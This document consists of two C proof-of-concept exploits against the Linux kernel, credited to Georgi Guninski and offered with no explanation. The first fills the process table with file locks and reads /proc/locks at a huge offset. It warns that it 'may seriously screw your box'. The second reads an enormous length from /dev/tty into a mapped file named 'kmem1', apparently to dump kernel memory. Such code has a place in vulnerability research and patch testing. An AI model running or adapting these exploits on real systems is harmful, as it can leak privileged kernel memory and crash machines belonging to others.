/*

* copyright georgi guninski

* cannot be used in vulnerability databases like securityfocus and mitre

*

* */

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <unistd.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/file.h>

#include <syscall.h>

#include <errno.h>

_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,

uint, wh)

void makefiles()

{

int cou,fv;

char vn[242];

for(cou=0;cou<920;cou++)

{

snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);

fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);

if (fv <0) perror("open2");

if (flock(fv,LOCK_EX) == -1) perror("flock");

}

while(42);

}

int main(int ac, char **av)

{

int fd,fv,i,cou;

void *mv;

char *he,*he2;

loff_t lr;

char c;

printf("\n\nThis may seriously screw your box\n\n");

printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");

printf("Press 'Y' to run it\n");

read(0,&c,1);

if (c != 'Y') return 42;

cou=5;

printf("creating files...\n");

while(cou--)

if (!fork())

makefiles();

sleep(20);

printf("starting...\n");

system("sync");

fd=open("/proc/locks",O_RDONLY);

if (fd <0) perror("open");

he=malloc(1024*1024*8);

he2=malloc(1024*1024*8);

if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");

i=read(fd,he2, 0x80004242);

perror("read");

printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);

while(42);

return 42;

}

=====================================================

/*

* Copyright Georgi Guninski

* Cannot be used in vulnerability databases like security focus and mitre

* */

#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <linux/vt.h>

#include <sys/vt.h>

#include <sys/ioctl.h>

#include <string.h>

#include <unistd.h>

#include <term.h>

#include <sys/mman.h>

int main(int ac, char **av)

{

int fd,fv;

int cou=4242,i;

char *bu;

struct termios ti;

struct termios ol;

char zer[1024];

fd=open("/dev/tty",O_RDWR);

if (fd<0) {perror("open");return -42;}

memset(&ti,0,sizeof(ti));

fv=open("kmem1",O_CREAT|O_RDWR|O_TRUNC,S_IRWXU);

if (fv <0 ) perror("open2");

/* how much to read in kilobytes*/

i=40*1024;

memset(zer,0,sizeof(zer));

while(i--) write(fv,zer,sizeof(zer));

bu=mmap(0,0x80000000,PROT_READ|PROT_WRITE,MAP_SHARED,fv,0);

if (-1 == (long) bu) perror("mmap");

printf("bu=%x\n",(int)bu);

if (ioctl(fd,TCGETS,&ti) < 0) perror("TCGETS");

ol=ti;

ti.c_lflag &= (~ICANON & ~ISIG & ~ICRNL & ~IXON & ~OPOST );

if (ioctl(fd,TCSETS,&ti) < 0) perror("TCSETS");

if (!fork())

{sleep(3);ioctl(fd,TIOCSTI,&cou);exit(0);};

sleep(2);

cou=read(fd,bu,0x80000000);

printf("read=%d\n",cou);

perror("read");

if (ioctl(fd,TCSETS,&ol) < 0) perror("TCSETS");

printf("done. check 'kmem1'");

system("reset");

return 42;

}